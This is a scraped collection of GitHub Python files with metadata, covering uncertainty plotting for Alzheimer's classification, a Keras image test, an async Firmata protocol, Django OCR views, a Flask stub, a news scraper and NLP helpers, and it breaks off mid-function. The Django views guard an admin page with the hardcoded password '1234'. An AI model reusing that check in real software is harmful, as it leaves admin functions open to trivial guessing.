alpha=0.3)\n ax1.set_ylabel(u'精度', fontsize='35')\n plt.xticks(fontsize=35)\n plt.yticks(fontsize=20)\n\n ax3 = ax1.twinx() # 组合图\n ax3.set_ylim([0.7, 1])\n ax3.plot(x, [CN_meanConfi, MCI_meanConfi, AD_meanConfi], 'k', ms=15, lw=5, marker='^', label=u'可靠性')\n ax3.set_ylabel(u'可靠性', fontsize='35', rotation=90)\n # ax3.plot(x, [CN_meanErr1U, MCI_meanErr1U, AD_meanErr1U], 'r', ms=10, lw=3, marker='^', label=u'1# error uncertainty')\n\n # ax3.plot(x, [CN_meanU, MCI_meanU, AD_meanU], 'k', ms=10, lw=2, marker='o', label=u'2# uncertainty')\n # ax3.plot(x, [CN_mean1U, MCI_mean1U, AD_mean1U], 'k', ms=10, lw=2, marker='^', label=u'1# uncertainty')\n\n plt.grid()\n fig.legend(loc='upper left', bbox_to_anchor=(0, 1), bbox_transform=ax1.transAxes, fontsize='30')\n plt.xticks(fontsize=35)\n plt.yticks(fontsize=20)\n plt.show()\n return\n\n\ndef AVUC():\n '''\n 测试集所有样本 每个类别的 平均错误率 不确定性 错误不确定性\n '''\n pred = []\n true = []\n u = []\n nac = 0\n nau = 0\n nic = 0\n niu = 0\n throu = 0.5\n for i in range(20):\n args = get_arg_parser(i).parse_args()\n _, p_diag, _, _, t_diag, _, _, _, uncertainty, _ = \\\n parse_data(misc.read_csv(args.reference), misc.read_csv(args.prediction), True, uncertainty_threshold=1)\n t_diag = t_diag.astype(int)\n for p, t, unc in zip(p_diag, t_diag, uncertainty):\n pred.append(p)\n true.append(t)\n u.append(unc)\n if p == t:\n if unc > throu:\n nau += 1\n else:\n nac += 1\n else:\n if unc > throu:\n niu += 1\n else:\n nic += 1\n\n print((nac + niu) / (nic + niu + nac + nau))\n return\n\n\n# BCA_mAUC_uncertainty_threshold(0, 16)\n# mAUC_BCA_plot()\n# cls_confidence_acc_EDL()\n# cls_confidence_acc()\nAVUC()\n", "repo_name": "Mr-Talon/Trustworthy-AD", "sub_path": "Trustworthy_AD/plot.py", "file_name": "plot.py", "file_ext": "py", "file_size_in_byte": 12246, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "71", "api": [{"api_name": "matplotlib.pyplot.rcParams", "line_number": 10, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot", "line_number": 10, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.rcParams", "line_number": 11, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot", "line_number": 11, "usage_type": "name"}, {"api_name": "seaborn.set", "line_number": 12, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 16, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 35, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 37, "usage_type": "call"}, {"api_name": "evaluation.eval_submission", "line_number": 38, "usage_type": "call"}, {"api_name": "misc.read_csv", "line_number": 38, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 43, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 44, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 47, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 47, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.grid", "line_number": 55, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 55, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 56, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 56, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xticks", "line_number": 57, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 57, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.yticks", "line_number": 58, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 58, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 59, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 59, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 62, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 62, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.grid", "line_number": 70, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 70, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 71, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 71, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xticks", "line_number": 72, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 72, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.yticks", "line_number": 73, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 73, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 74, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 74, "usage_type": "name"}, {"api_name": "evaluation.parse_data", "line_number": 101, "usage_type": "call"}, {"api_name": "misc.read_csv", "line_number": 101, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 124, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 125, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 126, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 127, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 128, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 129, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 130, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 131, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 132, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 133, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 134, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 135, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 136, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 137, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 138, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 140, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 141, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 142, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 143, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 146, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 147, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 148, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 149, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 150, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 151, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 153, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 154, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 155, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 156, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 157, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 158, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 160, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 161, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 162, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 163, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 164, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 165, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 190, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 190, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xticks", "line_number": 195, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 195, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.yticks", "line_number": 196, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 196, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.grid", "line_number": 203, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 203, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xticks", "line_number": 205, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 205, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.yticks", "line_number": 206, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 206, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 207, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 207, "usage_type": "name"}, {"api_name": "evaluation.parse_data", "line_number": 227, "usage_type": "call"}, {"api_name": "misc.read_csv", "line_number": 227, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 245, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 246, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 247, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 248, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 249, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 250, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 251, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 252, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 253, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 255, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 257, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 259, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 261, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 263, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 264, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 268, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 268, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xticks", "line_number": 273, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 273, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.yticks", "line_number": 274, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 274, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.grid", "line_number": 285, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 285, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xticks", "line_number": 287, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 287, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.yticks", "line_number": 288, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 288, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 289, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 289, "usage_type": "name"}, {"api_name": "evaluation.parse_data", "line_number": 308, "usage_type": "call"}, {"api_name": "misc.read_csv", "line_number": 308, "usage_type": "call"}]} {"seq_id": "38452793229", "text": "'''\r\nPYTHON CODE TO TEST THE TRAINED KERAS MODEL\r\n'''\r\n# import the necessary packages\r\nfrom keras.preprocessing.image import img_to_array\r\nfrom keras.models import load_model\r\nimport numpy as np\r\nimport imutils\r\nimport cv2\r\n\r\n# load the image\r\nimage = cv2.imread('M:\\\\Tericsoft\\\\Teric_Research\\\\keras-data-augmentation\\\\dogs_vs_cats_small\\\\cats\\\\cats_00001.jpg')\r\norig = image.copy()\r\n\r\n# pre-process the image for classification\r\nimage = cv2.resize(image, (28, 28))\r\nimage = image.astype(\"float\") / 255.0\r\nimage = img_to_array(image)\r\nimage = np.expand_dims(image, axis=0)\r\n\r\n# load the trained convolutional neural network\r\nprint(\"[INFO] loading network...\")\r\nmodel = load_model('M:\\\\Tericsoft\\\\Teric_Research\\\\image-classification-keras\\\\cats_and_dogs.model')\r\n\r\n# classify the input image\r\n(dog, cat) = model.predict(image)[0]\r\n\r\n# build the label\r\nlabel = \"cat\" if cat > dog else \"dog\"\r\nproba = cat if cat > dog else dog\r\nlabel = \"{}: {:.2f}%\".format(label, proba * 100)\r\n\r\n# draw the label on the image\r\noutput = imutils.resize(orig, width=400)\r\ncv2.putText(output, label, (10, 25), cv2.FONT_HERSHEY_SIMPLEX,\r\n\t0.7, (0, 255, 0), 2)\r\n\r\n# show the output image\r\ncv2.imshow(\"Output\", output)\r\ncv2.waitKey(0)", "repo_name": "ashish-AIML/image_classification_augmentation_combine_keras", "sub_path": "test.py", "file_name": "test.py", "file_ext": "py", "file_size_in_byte": 1212, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "cv2.imread", "line_number": 12, "usage_type": "call"}, {"api_name": "cv2.resize", "line_number": 16, "usage_type": "call"}, {"api_name": "keras.preprocessing.image.img_to_array", "line_number": 18, "usage_type": "call"}, {"api_name": "numpy.expand_dims", "line_number": 19, "usage_type": "call"}, {"api_name": "keras.models.load_model", "line_number": 23, "usage_type": "call"}, {"api_name": "imutils.resize", "line_number": 34, "usage_type": "call"}, {"api_name": "cv2.putText", "line_number": 35, "usage_type": "call"}, {"api_name": "cv2.FONT_HERSHEY_SIMPLEX", "line_number": 35, "usage_type": "attribute"}, {"api_name": "cv2.imshow", "line_number": 39, "usage_type": "call"}, {"api_name": "cv2.waitKey", "line_number": 40, "usage_type": "call"}]} {"seq_id": "70811994471", "text": "import asyncio\n\n\nfrom async_firmata.const import *\n\nclass Protocol(asyncio.Protocol):\n \"\"\"asyncio Protocol responsible for data transport\"\"\"\n _connected: asyncio.Event\n _buffer: bytearray\n transport: asyncio.Transport\n\n def __init__(self, board) -> None:\n self.board = board\n self.loop = board.loop\n self._connected = asyncio.Event()\n\n def connection_made(self, transport: asyncio.Transport) -> None:\n \"\"\"\n Handles a new connection\n Saves the transport and sets the connected event\n \"\"\"\n self.transport = transport\n self._buffer = bytearray()\n self._connected.set()\n\n def data_received(self, data: bytearray) -> None:\n \"\"\"\n Handles new packets\n \"\"\"\n self._buffer.extend(data)\n\n if data[0] < SYSEX_START:\n while data:\n message_type = data[0] & 0xF0\n if message_type == ANALOG_MESSAGE:\n asyncio.ensure_future(\n self.board.handle_analog_message(data[0] & 0x0F, data[1], data[2]))\n data = data[3:]\n elif message_type == DIGITAL_MESSAGE:\n print(data)\n asyncio.ensure_future(\n self.board.handle_digital_message(data[0] & 0x0F, data[1], data[2]))\n data = data[3:]\n else:\n break\n\n while SYSEX_END in self._buffer and SYSEX_START in self._buffer:\n del self._buffer[:self._buffer.index(SYSEX_START)+1]\n sysex_message = self._buffer[:self._buffer.index(SYSEX_END)]\n del self._buffer[:self._buffer.index(SYSEX_END)+1]\n\n asyncio.ensure_future(self.board.handle_sysex_command(sysex_message[0], sysex_message[1:]))\n\n def connection_lost(self, exc: Exception) -> None:\n self._connected.clear()\n\n async def write(self, packet: bytearray) -> None:\n await self._connected.wait()\n return self.transport.write(packet)\n\n @property\n def connected(self) -> bool:\n return self._connected.is_set()\n\n def close(self) -> None:\n if self.connected:\n self.transport.close()\n", "repo_name": "lennart-k/python-async-firmata", "sub_path": "async_firmata/protocol.py", "file_name": "protocol.py", "file_ext": "py", "file_size_in_byte": 2212, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "asyncio.Protocol", "line_number": 6, "usage_type": "attribute"}, {"api_name": "asyncio.Event", "line_number": 8, "usage_type": "attribute"}, {"api_name": "asyncio.Transport", "line_number": 10, "usage_type": "attribute"}, {"api_name": "asyncio.Event", "line_number": 15, "usage_type": "call"}, {"api_name": "asyncio.Transport", "line_number": 17, "usage_type": "attribute"}, {"api_name": "asyncio.ensure_future", "line_number": 36, "usage_type": "call"}, {"api_name": "asyncio.ensure_future", "line_number": 41, "usage_type": "call"}, {"api_name": "asyncio.ensure_future", "line_number": 52, "usage_type": "call"}]} {"seq_id": "30923445639", "text": "from django.shortcuts import render, redirect\nfrom .jsonbase import JsonBase\nfrom .models import Document\nfrom .vision import vision\nfrom django.contrib import messages\nimport os\nimport json\nimport cv2\nimport pytesseract\npytesseract.pytesseract.tesseract_cmd = r'C:\\Program Files\\Tesseract-OCR\\tesseract.exe'\nfrom .vision2 import vision2, vision3\n\n# 관리자 메인 페이지\ndef admin_form_view(request):\n context = {\n\n }\n\n return render(request, 'admin_form_view.html', context)\n\n# 관리자 양식추가 페이지\ndef admin_form_make(request):\n context = {\n\n }\n \n context[\"boxData\"] = [\n {\"label\": \"label\", \"x\":100, \"y\":100, \"w\":100, \"h\":100, \"type\": \"type\"}\n ]\n \n return render(request, 'admin_form_make.html', context)\n\n\n# 확인용 test함수\ndef test(request):\n context = {}\n\n data_title = request.POST[\"data_title\"]\n data_file = json.loads(request.POST[\"data_file\"])\n\n print(data_title)\n print(data_file)\n print(type(data_file))\n print(data_file[0])\n print(type(data_file[0]))\n\n return render(request, 'test.html')\n\ndef home(request):\n context = {}\n\n j = JsonBase('jsonbase.json')\n json_data = j.all_data()\n context['jsonData'] = json_data\n\n if request.method == \"POST\":\n\n title = request.POST[\"input_title\"]\n image = request.FILES['input_file']\n\n # doc = Document.objects.filter(images=image)\n\n # 똑같은 양식명에 파일이 한개라도 있다면 overwriting\n # if doc.count():\n # doc[0].images = request.FILES['input_file']\n # doc[0].save()\n\n # 양식명이 똑같은 것이 없다면 new save\n # else:\n document = Document()\n document.title = title\n document.images = image\n document.save()\n\n last_img = 'media/' + str(Document.objects.last().images)\n\n \n \n # input_title이 없을때 자동인식 실시\n if not title:\n # 모든 데이터 첫번째 label 제목만 불러와 적용후 일치시 title 도출\n titles = []\n for i in json_data:\n titles.append(i['form_title'])\n\n for data in json_data:\n w = data['lot'][0]['w']\n h = data['lot'][0]['h']\n cx = data['lot'][0]['cx']\n cy = data['lot'][0]['cy']\n\n img = cv2.imread(last_img)\n img = cv2.resize(img, (2480, 3508))\n\n img_r = cv2.getRectSubPix(\n img,\n patchSize=(w, h),\n center=(cx, cy),\n )\n img_gray = cv2.cvtColor(img_r, cv2.COLOR_BGR2GRAY)\n img_blur = cv2.GaussianBlur(img_gray, (5, 5), 0)\n\n ret, img_th = cv2.threshold(img_blur, 120, 230, cv2.THRESH_BINARY_INV)\n\n options = \"--oem 1 --psm 7\"\n\n title = pytesseract.image_to_string(cv2.cvtColor(img_th, cv2.COLOR_BGR2RGB), config=options, lang='Hangul')\n title = title.replace(' ', '').replace('\\n', '')\n\n # 파일에 일치하는 제목을 찾는다면 아까 빈파일에 저장한 값에 overwriting 한다\n if title in titles:\n doc = Document.objects.last()\n doc.title = title\n doc.save()\n break\n \n # 만약 아무것도 일치하는 것이 없다면\n title = None\n \n context['title'] = title\n\n # title이 없다면 여기서 그냥 return 시킨다\n if title == None:\n return render(request, 'home.html', context)\n\n # if not os.path.exists(os.path.join(base, str(request.FILES['input_file'])))\n img = cv2.imread(last_img)\n img1 = cv2.resize(img, (2480, 3508))\n \n data = j.search_data(title)\n\n for i in data[0]['lot']:\n (x, y, w, h) = (int(i['cx'] - i['w'] / 2), int(i['cy'] - i['h'] / 2), int(i['w']), int(i['h']))\n cv2.rectangle(img1, (x , y), (x + w, y + h), (255, 0, 0), 2)\n\n ret, _ = cv2.imencode('.jpg', img1)\n cv2.imwrite('./media/temp1.jpg', img1)\n \n form_number = j.search_number_from_title(title)\n \n # form number, image\n csv_table = vision(form_number, last_img)\n\n context['ret'] = ret\n context['files'] = 'media/temp1.jpg'\n context['csv_files'] = csv_table\n\n return render(request, 'home.html', context)\n\n\n# 양식 jsonbase.json에 저장\ndef save(request):\n data_title = request.POST[\"data_title\"]\n data_ret = request.POST[\"data_ret\"]\n data_lot = json.loads(request.POST[\"data_lot\"])\n\n data = {\n \"form_title\": data_title,\n \"form_ret\": data_ret,\n \"lot\": [],\n }\n\n for d in data_lot:\n d[\"x\"] = int(d[\"x\"]) * 4\n d[\"y\"] = int(d[\"y\"]) * 4\n d[\"w\"] = int(d[\"w\"]) * 4\n d[\"h\"] = int(d[\"h\"]) * 4\n d[\"cx\"] = int(d[\"x\"] + (d[\"w\"] / 2))\n d[\"cy\"] = int(d[\"y\"] + (d[\"h\"] / 2))\n del d[\"x\"]\n del d[\"y\"]\n data[\"lot\"].append(d)\n\n print(data)\n\n j = JsonBase('jsonbase.json')\n if j.update_data(data):\n print('\\nsave\\n')\n else:\n print('\\nfail\\n')\n\n return redirect('admin_form_make')\n\n\n# id OCR 페이지\ndef idcard(request):\n context = {}\n\n if request.method == \"POST\":\n image = request.FILES[\"ifile\"]\n kind = request.POST['idcard']\n \n\n document = Document()\n document.title = kind\n document.images = request.FILES['ifile']\n document.save()\n\n last_img = 'media/' + str(Document.objects.last().images)\n last_num = Document.objects.last().title\n\n\n # if kind.count():\n # # if not os.path.exists(os.path.join(base, str(request.FILES['input_file'])))\n img = cv2.imread(last_img)\n ret, _ = cv2.imencode('.jpg', img)\n\n if ret:\n cv2.imwrite('./media/temp2.jpg', img)\n csv_table = vision2(int(last_num), './media/temp2.jpg')\n\n csv_image = vision3('./media/temp2.jpg')\n context['files'] = '/media/temp2.jpg'\n context['csv_files'] = csv_table\n context['image'] = csv_image\n \n return render(request, 'idcard.html', context)\n \ndef pass_s(request):\n ppw = \"1234\"\n if request.POST.get('password') == ppw:\n return render(request, 'admin_form_make.html')\n else: \n # messages.warning(request, \"입장할 수 없습니다.\")\n return render(request, 'pass_s.html')", "repo_name": "RockhoRockho/FG_Vision", "sub_path": "VISION/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 6612, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "70", "api": [{"api_name": "pytesseract.pytesseract", "line_number": 10, "usage_type": "attribute"}, {"api_name": "django.shortcuts.render", "line_number": 19, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 31, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 39, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 47, "usage_type": "call"}, {"api_name": "jsonbase.JsonBase", "line_number": 52, "usage_type": "call"}, {"api_name": "models.Document", "line_number": 70, "usage_type": "call"}, {"api_name": "models.Document.objects.last", "line_number": 75, "usage_type": "call"}, {"api_name": "models.Document.objects", "line_number": 75, "usage_type": "attribute"}, {"api_name": "models.Document", "line_number": 75, "usage_type": "name"}, {"api_name": "cv2.imread", "line_number": 92, "usage_type": "call"}, {"api_name": "cv2.resize", "line_number": 93, "usage_type": "call"}, {"api_name": "cv2.getRectSubPix", "line_number": 95, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 100, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2GRAY", "line_number": 100, "usage_type": "attribute"}, {"api_name": "cv2.GaussianBlur", "line_number": 101, "usage_type": "call"}, {"api_name": "cv2.threshold", "line_number": 103, "usage_type": "call"}, {"api_name": "cv2.THRESH_BINARY_INV", "line_number": 103, "usage_type": "attribute"}, {"api_name": "pytesseract.image_to_string", "line_number": 107, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 107, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2RGB", "line_number": 107, "usage_type": "attribute"}, {"api_name": "models.Document.objects.last", "line_number": 112, "usage_type": "call"}, {"api_name": "models.Document.objects", "line_number": 112, "usage_type": "attribute"}, {"api_name": "models.Document", "line_number": 112, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 124, "usage_type": "call"}, {"api_name": "cv2.imread", "line_number": 127, "usage_type": "call"}, {"api_name": "cv2.resize", "line_number": 128, "usage_type": "call"}, {"api_name": "cv2.rectangle", "line_number": 134, "usage_type": "call"}, {"api_name": "cv2.imencode", "line_number": 136, "usage_type": "call"}, {"api_name": "cv2.imwrite", "line_number": 137, "usage_type": "call"}, {"api_name": "vision.vision", "line_number": 142, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 148, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 155, "usage_type": "call"}, {"api_name": "jsonbase.JsonBase", "line_number": 176, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 182, "usage_type": "call"}, {"api_name": "models.Document", "line_number": 194, "usage_type": "call"}, {"api_name": "models.Document.objects.last", "line_number": 199, "usage_type": "call"}, {"api_name": "models.Document.objects", "line_number": 199, "usage_type": "attribute"}, {"api_name": "models.Document", "line_number": 199, "usage_type": "name"}, {"api_name": "models.Document.objects.last", "line_number": 200, "usage_type": "call"}, {"api_name": "models.Document.objects", "line_number": 200, "usage_type": "attribute"}, {"api_name": "models.Document", "line_number": 200, "usage_type": "name"}, {"api_name": "cv2.imread", "line_number": 205, "usage_type": "call"}, {"api_name": "cv2.imencode", "line_number": 206, "usage_type": "call"}, {"api_name": "cv2.imwrite", "line_number": 209, "usage_type": "call"}, {"api_name": "vision2.vision2", "line_number": 210, "usage_type": "call"}, {"api_name": "vision2.vision3", "line_number": 212, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 217, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 222, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 225, "usage_type": "call"}]} {"seq_id": "72838397670", "text": "from flask import Flask, render_template, request, jsonify\r\n\r\napp = Flask(__name__)\r\n\r\n@app.route('/')\r\ndef index():\r\n return render_template('index.html')\r\n\r\n@app.route('/process_data', methods=['POST'])\r\ndef process_data():\r\n data = request.json\r\n\r\n result = {'message': 'Dados recebidos com sucesso!', 'data': data}\r\n return jsonify(result)\r\n\r\nif __name__ == '__main__':\r\n app.run(debug=True)\r\n", "repo_name": "Tiago65133/HTML-BACKEND", "sub_path": "app.py", "file_name": "app.py", "file_ext": "py", "file_size_in_byte": 412, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "flask.Flask", "line_number": 3, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 7, "usage_type": "call"}, {"api_name": "flask.request.json", "line_number": 11, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 11, "usage_type": "name"}, {"api_name": "flask.jsonify", "line_number": 14, "usage_type": "call"}]} {"seq_id": "19068144910", "text": "# 7 Even Odd Series. Given a string and it contains the digits as well as non-digits. We have to find the largest even number\n# from available digits after removing the duplicates. If not possible, print -1.\n\nfrom itertools import permutations as perm\n\ndef even_no(ar):\n return [\"\".join(str(j) for j in i) for i in list(perm(ar))]\n\ndef odd_series(s, n):\n ar = [int(i) for i in s if i.isdigit()]\n res = max(even_no(set(ar)))\n return res if res else -1\n\nif __name__ == \"__main__\":\n s = input()\n print(odd_series(s, n))", "repo_name": "SaiSudhaV/TrainingPractice", "sub_path": "ArraysI/odd_series.py", "file_name": "odd_series.py", "file_ext": "py", "file_size_in_byte": 534, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "itertools.permutations", "line_number": 7, "usage_type": "call"}]} {"seq_id": "39999131838", "text": "# function to scrape top ten news stories from bbc.com\n\nimport requests\nfrom bs4 import BeautifulSoup\n\n\nurl = 'http://www.bbc.com/news'\nr = requests.get(url)\nsoup = BeautifulSoup(r.text, 'html.parser')\ntop_stories = soup.find_all('a', class_='gs-c-promo-heading')\nfor story in top_stories:\n print(story.text)\n\n\n\n\n", "repo_name": "pilipb/Portfolio", "sub_path": "Recipes/RecipeSuggest/test.py", "file_name": "test.py", "file_ext": "py", "file_size_in_byte": 316, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "requests.get", "line_number": 8, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 9, "usage_type": "call"}]} {"seq_id": "40613452517", "text": "import numpy as np\nimport json\n\nwith open(\"data.json\") as f:\n data = np.array(json.load(f))\n\ntrees = 0\n\nfor i, d in enumerate(data):\n if d[i * 3 % len(d)] == '#':\n trees += 1\n\nprint(trees)\n", "repo_name": "mxgordon/advent_of_code", "sub_path": "2020/day03/part1.py", "file_name": "part1.py", "file_ext": "py", "file_size_in_byte": 202, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "numpy.array", "line_number": 5, "usage_type": "call"}, {"api_name": "json.load", "line_number": 5, "usage_type": "call"}]} {"seq_id": "37364201425", "text": "import nltk\nfrom tqdm import tqdm_notebook as tqdm\nimport pickle\nimport os\nimport spacy\nimport nltk\nimport pandas as pd\nfrom tqdm import tqdm\nfrom sarvam.colorful_logger import *\n# Find how often each Category used each word\n# import en_core_web_lg\n# nlp = spacy.load('en_core_web_sm')\n\n\ndef tokenize(df: pd.DataFrame, text_col, nlp):\n '''\n In place tokenization on text column\n :param df: Pandas Dataframe\n :par am text_col: Text Column\n :return: \n '''\n\n if not nlp:\n print_error(\"Do a global initilization nlp = spacy.load('en_core_web_sm')\")\n raise Warning(\"Initialize nlp = spacy.load('en_core_web_sm')\")\n\n def cleaning(sentence):\n sentence = nlp(str(sentence))\n tokens = [token.text for token in sentence]\n tokens = ' '.join(tokens)\n return tokens\n\n # df = df.assign(spacy_processed = lambda rows : rows[text_col].map(lambda row: cleaning(row)))\n data = [cleaning(line) for line in tqdm(df[text_col].tolist())]\n df[text_col] = data\n return df\n\ndef extract_lemmas(df: pd.DataFrame, text_col, nlp):\n\n stopwords = nltk.corpus.stopwords.words('english')\n\n def cleaning(sentence):\n sentence = nlp(sentence)\n tokens = [token.lemma_+\"_\"+token.pos_ for token in sentence\n if not token.is_punct | token.is_space | token.is_bracket | (token.text in stopwords)]\n tokens = ' '.join(tokens)\n return tokens\n\n df = df.assign(nlp_processed = lambda rows : rows[text_col].map(lambda row: cleaning(row)))\n\n return df\n\ndef doc_to_integers(df: pd.DataFrame, text_col, 